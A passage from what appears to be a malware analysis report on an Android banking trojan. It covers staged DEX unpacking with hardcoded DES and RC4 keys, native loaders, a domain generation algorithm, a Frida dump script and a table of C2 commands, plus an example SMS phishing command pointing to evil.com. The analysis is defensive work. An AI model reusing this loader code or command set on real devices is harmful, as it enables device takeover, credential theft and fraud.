  • Monitor all user interactions and screen content
  • Perform automated UI manipulation (clicking, typing)
  • Bypass security prompts
  • Capture credentials and sensitive data

Notification Listener Service: The service qezCJfF implements a NotificationListenerService, allowing the malware to read all notifications.

Cleartext Traffic Allowed: The application sets android:usesCleartextTraffic="true", permitting unencrypted HTTP communications. This suggests the malware communicates with its c2 server without encryption, making data exfiltration easier but also more detectable through network analysis.

Hidden From Recents: Most activities are marked with android:excludeFromRecents="true" and android:noHistory="true", preventing them from appearing in the recent apps list and making the malware’s activities less visible to users.


The APK spoofs its package name as com.vgsupervision_kit29. In reality, the main application class is ccg.wffpuwo.bxasqiwdz.kgtytvo, which doesn’t match the declared package name.

<application
    android:name="ccg.wffpuwo.bxasqiwdz.kgtytvo"
    package="com.vgsupervision_kit29"
    android:usesCleartextTraffic="true">
@Override
public String getPackageName() {
    return "com.vgsupervision_kit29";
}

Dynamic Payload Extraction and Injection

This package also implements several hook methods to allow runtime manipulation of the application context:

@Override
protected void attachBaseContext(Context context) {
    super.attachBaseContext(context);
    try {
        kowgdaxyhqlaka.fdmbivmeejsy(this);
        jrhmloqkemduyhd.hook(this, "com.vgsupervision_kit29.cosxo12G", "Lccg/wffpuwo/bxasqiwdz/kgtytvo;");
    } catch (IOException | IllegalAccessException | NoSuchFieldException | NoSuchMethodException | InvocationTargetException e) {
        throw new RuntimeException(e);
    }
}

Looking into kowgdaxyhqlaka.fdmbivmeejsy(), We can see that is is extracting a payload. attachBaseContext() reads an encrypted asset called zdvjwnqcaasmzzfa, decrypts and decompresses it into a DEX file, then injects it into the app’s classloader on the fly.

public static void fdmbivmeejsy(Application application) ... {
    // 1. Read encrypted asset from assets folder
    byte[] arvtyxwfu = usviqzolub.arvtyxwfu(application.getAssets().open("zdvjwnqcaasmzzfa"));
    
    // 2. Write decrypted data to temporary file
    File file = new File(application.getCacheDir(), lllJ1II(203));
    usviqzolub.utwwluvwstm(file, arvtyxwfu);
    
    // 3. Extract the archive
    hhiedrmsr.hcjpe(file, application.getCacheDir());
    file.delete();
    
    // 4. Create private directory for the DEX file
    File dir = application.getDir(lllJ1II(252), 0);
    ArrayList arrayList = new ArrayList();
    List<File> yrdopvgftgg = usviqzolub.yrdopvgftgg(application.getCacheDir(), lllJ1II(303));
    
    // 5. Decrypt DEX file
    for (File file2 : yrdopvgftgg) {
        File file3 = new File(dir, file2.getName());
        gegchproi.decrypt(file2, file3);
        setOnlyRead(file3);
        arrayList.add(file3);
    }
    
    // 6. Inject the DEX file into application classloader
    bzqmerzfoipi(application, arrayList, dir);
    
    // 7. Remove the temporary file
    usviqzolub.ymofnxzfx(dir);
}

This file also uses the same extraction logic as miqfjvzbvnkjrgvk, using DES/ECB/PKCS5Padding with the key set to rqcejxta. Using the previous python script, we can decrypt and extract the next DEX.

Extracted DEX Analysis

This DEX contains part of the implementation of the com.vgsupervision_kit29 package.

In the static initializer block, the application loads a native library using an obfuscated string:

static {
    System.loadLibrary($(0, 6, 4296));  // decrypts to "cyqcXW"
}

The cosxo12G class declares three native methods implemented in libcyqcXW.so:

  • k1lkB3m2AW(Object obj, String str, int i) - Returns String
  • qo3ZokZN(Object obj, String str) - Returns String
  • oriE5Pc7(Object obj) - Void return, called from attachBaseContext()

The attachBaseContext() method is overridden to call the native method oriE5Pc7() with the application context:

@Override
protected void attachBaseContext(Context context) {
    super.attachBaseContext(context);
    oriE5Pc7(context);  // Native call with context
}

This early hook occurs before the application is fully initialized. Given that libcyqcXW.so contains another encrypted DEX file that will be loaded dynamically.

Native Library Analysis (libcyqcXW)

Java Entry Point:

static {
    System.loadLibrary($(0, 6, 4296)); // Loads "libcyqcXW" (obfuscated)
}

Key Functions:

  • Java_com_vgsupervision_1kit29_cosxo12G_oriE5Pc7 - Initialization/setup
  • Java_com_vgsupervision_1kit29_cosxo12G_k1lkB3m2AW - AES/Salt operations
  • Java_com_vgsupervision_1kit29_cosxo12G_qo3ZokZN - DGA operations

Initial Library Setup (oriE5Pc7)

The first JNI function oriE5Pc7 triggers the initialization sequence by invoking WrpClass::replace_loader(false). This function constructs multiple obfuscated strings on the stack using direct memory assignments rather than string literals, making static string extraction challenging. The constants are built piece by piece through builtin_strncpy operations and hexadecimal literals.

void WrpClass::replace_loader(WrpClass *this, bool param_1) {
    // Construct symbol name for dynamic loading
    builtin_strncpy(local_70, "replace_", 8);
    local_68 = 0x64616f6c;  // "load"
    local_64 = 0x7265;       // "er"
    local_62 = 0;            // Result: "replace_loader"
    
    // Construct package name
    builtin_strncpy(local_d0, "com.vgsupervisio", 0x10);
    builtin_strncpy(local_d0 + 0x10, "n_kit29", 8);
    // Result: "com.vgsupervision_kit29"
    
    // Construct resource path
    builtin_strncpy(local_100, "com.vgsupervision_kit29:raw/dmvp", 0x20);
    local_e0 = 0x63357169;  // Additional suffix
    
    // Construct cryptographic parameters
    local_60 = 0x52657a3151794a4e;  // Key material 1
    uStack_58 = 0x674b54564461566c;
    uStack_50 = 0x4c44767043374868;
    uStack_48 = 0x4677586661505079;
    
    local_90 = 0x3135346262623163;  // Key material 2
    uStack_88 = 0x3935396330663664;
    
    builtin_strncpy(local_b0, "d6f0c95980d05bfc", 0x11);  // Hash/identifier
}

The function first unpacks the embedded library, then checks the boolean parameter param_1 to determine whether to activate the secondary loader. When called with false, the function only performs the extraction without executing the loader.

uVar2 = unpack_dynlib(this);

if ((((uVar2 & 1) != 0) && (!param_1)) &&
    (pcVar3 = (code *)dlsym(*(undefined8 *)(this + 0x18), local_70), 
     pcVar3 != (code *)0x0)) {
    (*pcVar3)(*(undefined8 *)this,
              *(undefined8 *)(this + 8),
              local_d0,    // Package name
              local_100,   // Resource path
              &local_60,   // Key material 1
              &local_90,   // Key material 2
              local_b0);   // Hash/identifier
}

Embedded Payload Loading (unpack_dynlib)

The unpack_dynlib method implements the core extraction mechanism that retrieves an encrypted secondary DEX embedded within the original .so file. The function checks for the existence of a hidden file named .q in the application’s private directory, and if absent, proceeds to decrypt an embedded 347,752 byte payload using RC4 encryption.

char *WrpClass::unpack_dynlib() {
    // RC4 decryption key (hardcoded)
    char rc4_key[33] = "wdwNQ508SVDCcJ03jR6IcZB3teA4bI1Q";
    
    // Construct target path: /data/data/com.vgsupervision_kit29/app_files/.q
    char *lib_path = concat(get_private_dir_path(), "/.q");
    
    if (!file_exists(lib_path)) {
        // Decrypt embedded payload at offset 0x47361
        char *decrypted = RC4_decrypt(&DAT_00047361, 0x33928, rc4_key);
        write_so(lib_path, decrypted, 0x33928);
    }
    
    this->library_handle = dlopen(lib_path, RTLD_LAZY);
    return this->library_handle;
}

The decrypted library is written to .q with a leading dot to hide it from casual directory listings. The address &DAT_00047361 points to the start of the encrypted payload within the original library’s data section at file offset 0x1401FC.

Cryptographic Service Functions

The functions k1lkB3m2AW and qo3ZokZN are not called during initialization but serve as utility functions that other malware components invoke to retrieve cryptographic material and generate C2 domains. Both functions call replace_loader(true), which skips the loader execution due to the inverted boolean logic.

undefined8 Java_com_vgsupervision_1kit29_cosxo12G_k1lkB3m2AW(
    undefined8 param_1, undefined8 param_2, undefined8 param_3, 
    _jstring *param_4, int param_5) {
    
    WrpClass::replace_loader((WrpClass *)&local_68, true);
    
    if (param_5 == 1) {
        uVar2 = WrpClass::get_salt((WrpClass *)&local_68, param_4);
    } else if (param_5 == 0) {
        uVar2 = WrpClass::get_AES((WrpClass *)&local_68, param_4);
    }
    
    dlclose(local_50);
    return uVar2;
}

The k1lkB3m2AW function retrieves either AES keys (when param_5 == 0) or salt values (when param_5 == 1) from the unpacked .q library. Since replace_loader(true) prevents re-execution of loader_place, this call simply ensures the library is loaded and then queries the cryptographic functions.

undefined8 Java_com_vgsupervision_1kit29_cosxo12G_qo3ZokZN(
    undefined8 param_1, undefined8 param_2, undefined8 param_3, 
    _jstring *param_4) {
    
    WrpClass::replace_loader((WrpClass *)&local_58, true);
    uVar2 = WrpClass::get_DGA((WrpClass *)&local_58, param_4);
    dlclose(local_40);
    return uVar2;
}

The qo3ZokZN function implements the Domain Generation Algorithm (DGA) by calling get_DGA from the unpacked library. This allows the malware to generate pseudo-random domains for C2 communication based on seed values, enabling domain-flux techniques to evade blocklists.

In-Memory Payload Extraction

The static analysis revealed the malware’s multi-stage loading mechanism, but extracting the actual payloads required dynamic instrumentation to capture the decrypted DEX at runtime.

This script hooks dalvik.system.InMemoryDexClassLoader at process startup and attempts to extract the DEX payload from the ByteBuffer passed to the constructor.

/*
 * dump_dex.js - hooks InMemoryDexClassLoader and dumps DEX payload
 */

console.log("[*] DEX dumper started");

Java.perform(function() {
    console.log("[*] Hooking InMemoryDexClassLoader...");
    const InMemoryDexClassLoader = Java.use("dalvik.system.InMemoryDexClassLoader");

    InMemoryDexClassLoader.$init.overload('java.nio.ByteBuffer', 'java.lang.ClassLoader').implementation = function(dexBuffer, classLoader) {
        console.log("[!] Hook triggered - capturing DEX payload");

        dexBuffer.rewind();
        const bytes = Java.array('byte', new Array(dexBuffer.remaining()).fill(0));
        dexBuffer.get(bytes);
        
        const tmpDir = Java.use("java.lang.System").getProperty("java.io.tmpdir");
        const dumpPath = tmpDir + "/final_payload.dex";
        
        console.log(`[*] Dumping ${bytes.length} bytes to: ${dumpPath}`);
        
        const File = Java.use("java.io.File");
        const FileOutputStream = Java.use("java.io.FileOutputStream");
        const file = File.$new(dumpPath);
        const fos = FileOutputStream.$new(file);
        fos.write(bytes);
        fos.close();
        
        console.log("[+] Dump complete");
        console.log(`[+] Retrieve with: adb pull ${dumpPath} .`);

        dexBuffer.rewind();
        return this.$init(dexBuffer, classLoader);
    };
});
frida -f com.vgsupervision_kit29 -l dump_dex.js

After resuming the process, the hook executed when InMemoryDexClassLoader was constructed with a ByteBuffer. The script copied the buffer contents to a byte array, wrote those bytes to java.io.tmpdir + “/final_payload.dex”, and then invoked the original constructor.

file final_payload.dex            

final_payload.dex: Dalvik dex file version 035

Success! This verified that we successfully captured the encrypted DEX payload!

Malware Configuration Analysis

With all payload stages extracted, an examination of the application’s shared preferences revealed the active malware configuration and operational state stored in shared preferences /data/data/com.vgsupervision_kit29/shared_prefs/main.xml.

C2 Infrastructure

The malware implements an advanced C2 communication system with command queueing and execution timing controls. The configuration contained an active C2 domain generated by the DGA algorithm:

<string name="s6">s:hxxps://***bt01tug8***oe****44a4.com</string>

Operational State Indicators

Additional configuration values revealed the malware’s current operational state:

  • Bot State: <string name="s28">s:SLEEP</string> - indicating dormant C2 communications
  • Service Identifier: <string name="s7">s:acsb</string> - internal module designation for accessibility
  • Device Fingerprint Hash: <string name="s13">s:5k2itzv955hysyddg9k3ejoepe8hckh5</string>
  • Installed Package List: A pipe-delimited list of all installed packages on the device

C2 Capabilities

Device Administration Control

Command Context: Device policy management and admin privilege escalation

The malware attempts to gain device administrator privileges through multiple vectors:

private void m282try(Context context) {
    DevicePolicyManager devicePolicyManager = (DevicePolicyManager) getSystemService("device_policy");
    ComponentName componentName = new ComponentName(context, (Class<?>) hhA8n9MIP.class);
    if (devicePolicyManager.isAdminActive(componentName)) {
        devicePolicyManager.removeActiveAdmin(componentName);
        Cnew.m355new(context, "i21", "intent to disable device admin", 2);
    }
}

The malware can both activate and deactivate device admin privileges, suggesting it uses this for persistence and to avoid detection when needed. It also checks for active device administrators before attempting uninstallation of security apps.

Accessibility Service Abuse

Command Context: ask_acsb command for accessibility service activation

if (ctry.m409goto("ask_acsb")) {
    Cswitch cswitch = this.f129new;
    Boolean bool = Boolean.FALSE;
    cswitch.m136final("b21", bool);
    this.f129new.m136final("b5", bool);
    this.f129new.m142throw("l12", 0L);
    this.f129new.m136final("b6", Boolean.TRUE);
    m271break();
    return;
}

This resets various boolean flags and triggers accessibility service activation, similar to the complex gesture functionality seen in Crocodilus malware.

VNC Remote Control

Commands: vnc_start, vnc_stop, vnc_update

if (ctry.m409goto("vnc_start")) {
    Ctransient.m152import(this.f128for, (String) ctry.f1037ifdf.get(0));
    Cnew.m354for(this.f128for, this.f129new.m137for("i14", -1).intValue(), "VNC started", 2);
    Cfinal.ifdf(5);
} else if (ctry.m409goto("vnc_stop")) {
    Ctransient.m153native(this.f128for);
    Cnew.m354for(this.f128for, this.f129new.m137for("i16", -1).intValue(), "VNC stopped", 2);
    Cfinal.ifdf(5);
} else if (ctry.m409goto("vnc_update")) {
    Ctransient.m155public(this.f128for, (String) ctry.f1037ifdf.get(0));
    Cnew.m354for(this.f128for, this.f129new.m137for("i15", -1).intValue(), "VNC updated", 2);
    Cfinal.ifdf(5);
}

The malware implements full VNC (Virtual Network Computing) capabilities, allowing remote attackers to view and control the infected device’s screen in real-time.

SMS Interception Control

Commands: sms_intercept_on, sms_intercept_off

if (ctry.m409goto("sms_intercept_on")) {
    if (Ccase.apkdfmhpadmfhpadomfhgpewirh(this.f128for)) {
        return;
    }
    String m215continue = Ccase.m215continue(this.f128for);
    if (!m215continue.isEmpty() && !m215continue.equals(this.f128for.getPackageName())) {
        this.f129new.m144while("s10", m215continue);
    }
    Context context = this.f128for;
    Ccase.k(context, context.getPackageName());
    // Additional SMS interception logic...
}

This functionality allows the malware to intercept SMS messages, likely for stealing 2FA codes and other sensitive information sent via text.

Security Application Uninstallation

Function: m283class - Targeted app removal

public void m283class(Context context, String str) {
    String[] split = str.split(",");
    HashSet hashSet = new HashSet();
    List<ComponentName> activeAdmins = ((DevicePolicyManager) context.getSystemService("device_policy")).getActiveAdmins();
    
    for (String str2 : split) {
        String trim = str2.trim();
        if (!trim.isEmpty()) {
            if (Ccase.jghkmjpdokgmhsdghkmdg(context, trim, hashSet)) {
                Ccase.w(context, trim);
                this.f129new.m144while("s4", "confirm_uninstall");
                this.f129new.m144while("s5", trim);
                return;
            }
        }
    }
}

The malware can receive a comma separated list of package names to uninstall, particularly targeting security applications and antivirus software.

Permission and Security Bypass

Commands: get_overlay_perm, get_write_settings, disable_battery, enable_autostart

if (ctry.m409goto("get_overlay_perm")) {
    if (!this.f129new.m138goto("b_MOD_BLACKSCREEN", true) || Ccase.dfhaefdhadfhdfherh(this.f128for) || Settings.canDrawOverlays(this.f128for)) {
        return;
    }
    Intent intent5 = new Intent("android.settings.action.MANAGE_OVERLAY_PERMISSION");
    intent5.setData(Uri.parse("package:" + this.f128for.getPackageName()));
    intent5.setFlags(268435456);
    this.f128for.startActivity(intent5);
}

The malware systematically requests dangerous permissions including overlay permissions (for screen recording/keylogging), write settings access, and battery optimization exemptions.

Keylogger Activation

Command: keylogger_start

if (ctry.m409goto("keylogger_start")) {
    this.f129new.m136final("b10", Boolean.TRUE);
    return;
}

Simple boolean flag activation for keylogging functionality, likely implemented through accessibility services.

Injection Attacks

Command: activate_injects

if (ctry.m409goto("activate_injects")) {
    this.f129new.m136final("b9", Boolean.TRUE);
    return;
}

Activates web injection capabilities, commonly used to overlay fake login forms on legitimate banking and financial applications.

Persistence and Evasion Techniques

Foreground Service Manipulation

The malware uses foreground service status to maintain persistence and avoid being killed by the Android system:

private void m271break() {
    msKGRq.fddo(this.f128for, this);
    msKGRq.m353for(this.f128for);
    f125goto = true;
    this.f129new.m136final("b13", Boolean.TRUE);
}

private void m273catch() {
    this.f129new.m136final("b13", Boolean.FALSE);
    this.f129new.m134const();
    stopForeground(true);
    f125goto = false;
}

Battery Optimization Bypass

The malware attempts to exempt itself from battery optimization to maintain background execution:

private void m279new() {
    if (Ccase.spkfgmhapoemghapfgmhadgkmhpda(this.f128for)) {
        return;
    }
    Intent intent = new Intent("android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS");
    intent.setData(Uri.parse("package:" + this.f128for.getPackageName()));
    intent.setFlags(268435456);
    this.f128for.startActivity(intent);
}

Core C2 Commands (Direct Execution)

These are the fundamental commands executed directly by the hAuJlXq service:

Command Description
ask_acsb Forces accessibility service activation and resets various security flags
keylogger_start Activates keylogging functionality through accessibility services
activate_injects Enables web injection attacks for overlay fraud on banking apps
get_device_admin Requests device administrator privileges for persistence and control
disable_gp Disables Google Play Protect and other security services
disable_battery Bypasses battery optimization to maintain background execution
enable_autostart Configures autostart permissions on various Android OEMs (Xiaomi, Oppo, Vivo)
get_write_settings Requests system settings modification permissions
get_overlay_perm Requests screen overlay permissions for UI manipulation and screen recording
get_sms_perm Requests SMS permissions for message interception
get_push_admin Requests notification listener permissions for message stealing
sms_intercept_on Activates SMS interception and sets the malware as default SMS app
sms_intercept_off Deactivates SMS interception and restores previous default SMS app
vnc_start Initiates VNC remote desktop session with specified parameters
vnc_stop Terminates active VNC remote desktop session
vnc_update Updates VNC connection parameters or configuration

Task-Level Commands (Batch Operations)

These high level task commands are processed by the Cnew class and translated into core commands:

Task Command Maps to Core Command Description
acsb_task ask_acsb Request accessibility service activation
disable_gp_task disable_gp Disable Google Play Protect security
keylogger_task keylogger_start Start keylogging functionality
injects_task activate_injects Enable web injection attacks
disable_battery_task disable_battery Bypass battery optimization
get_device_admin_task get_device_admin Request device administrator privileges
enable_autostart_task enable_autostart Configure manufacturer autostart permissions
get_write_settings_task get_write_settings Request system settings modification
get_overlay_perm_task get_overlay_perm Request screen overlay permissions
get_push_admin_task get_push_admin Request notification listener access
get_sms_perm_task get_sms_perm Request SMS permissions

UI Automation Commands

Commands for remote UI manipulation through accessibility services:

Command Description
click_by_id Click UI element by Android resource ID
click_by_text Click UI element containing specific text
click_by_bounds Click at specific screen coordinates
click_by_class Click UI element by class name
acsb_debug_screen Enable accessibility debugging screen
az_test_command Execute test command for debugging
common_test Execute common test functionality
action_[action_name] Execute specific accessibility action

Specialized Operation Commands

Additional commands for specific malicious operations:

Command Description
send_sms|number|message Send SMS to specific number or contacts
send_ussd|code Execute USSD code (banking/carrier commands)
start_app|package Launch specific application
uninstall_apps|package_list Queue applications for uninstallation
start_inject|url Enable injection for specific URL/app
stop_inject|url Disable injection for specific URL/app
show_url|url Display webpage in fullscreen overlay
lock_device Lock device and start foreground service
unlock_device Unlock device and disable security features
set_bot_mode|mode Configure bot operational mode
start_syslog|channels Start system logging with specified channels
stop_syslog Stop system logging
push_notification|title|text|action Display fake push notification

Command Format Examples

Batch Task Command:

123|acsb_task,keylogger_task,injects_task

VNC with Parameters:

vnc_start|WS_PORT:8080|BLACKSCREEN|DONOTDISTURB

SMS Command:

send_sms|contacts|Hello %NAME%, click this link: http://evil.com

UI Automation:

click_by_text|Login Button

Application Control:

uninstall_apps|com.antivirus.app,com.security.scanner

This command set shows the extensive remote control capabilities of this Android RAT, covering device administration, UI manipulation, and communication interception techniques.

Package Name SHA-256
com.hello.world 0a8570bcc1c6414854477c2ac0acfeb10ea6a613e610da3c6c9b2f7af0614fe6
com.vgsupervision_kit29 f35635ab05a8f0ff2e45a561e9aef6cb766fe62cd3216dc4ab5ca2425c58e1d7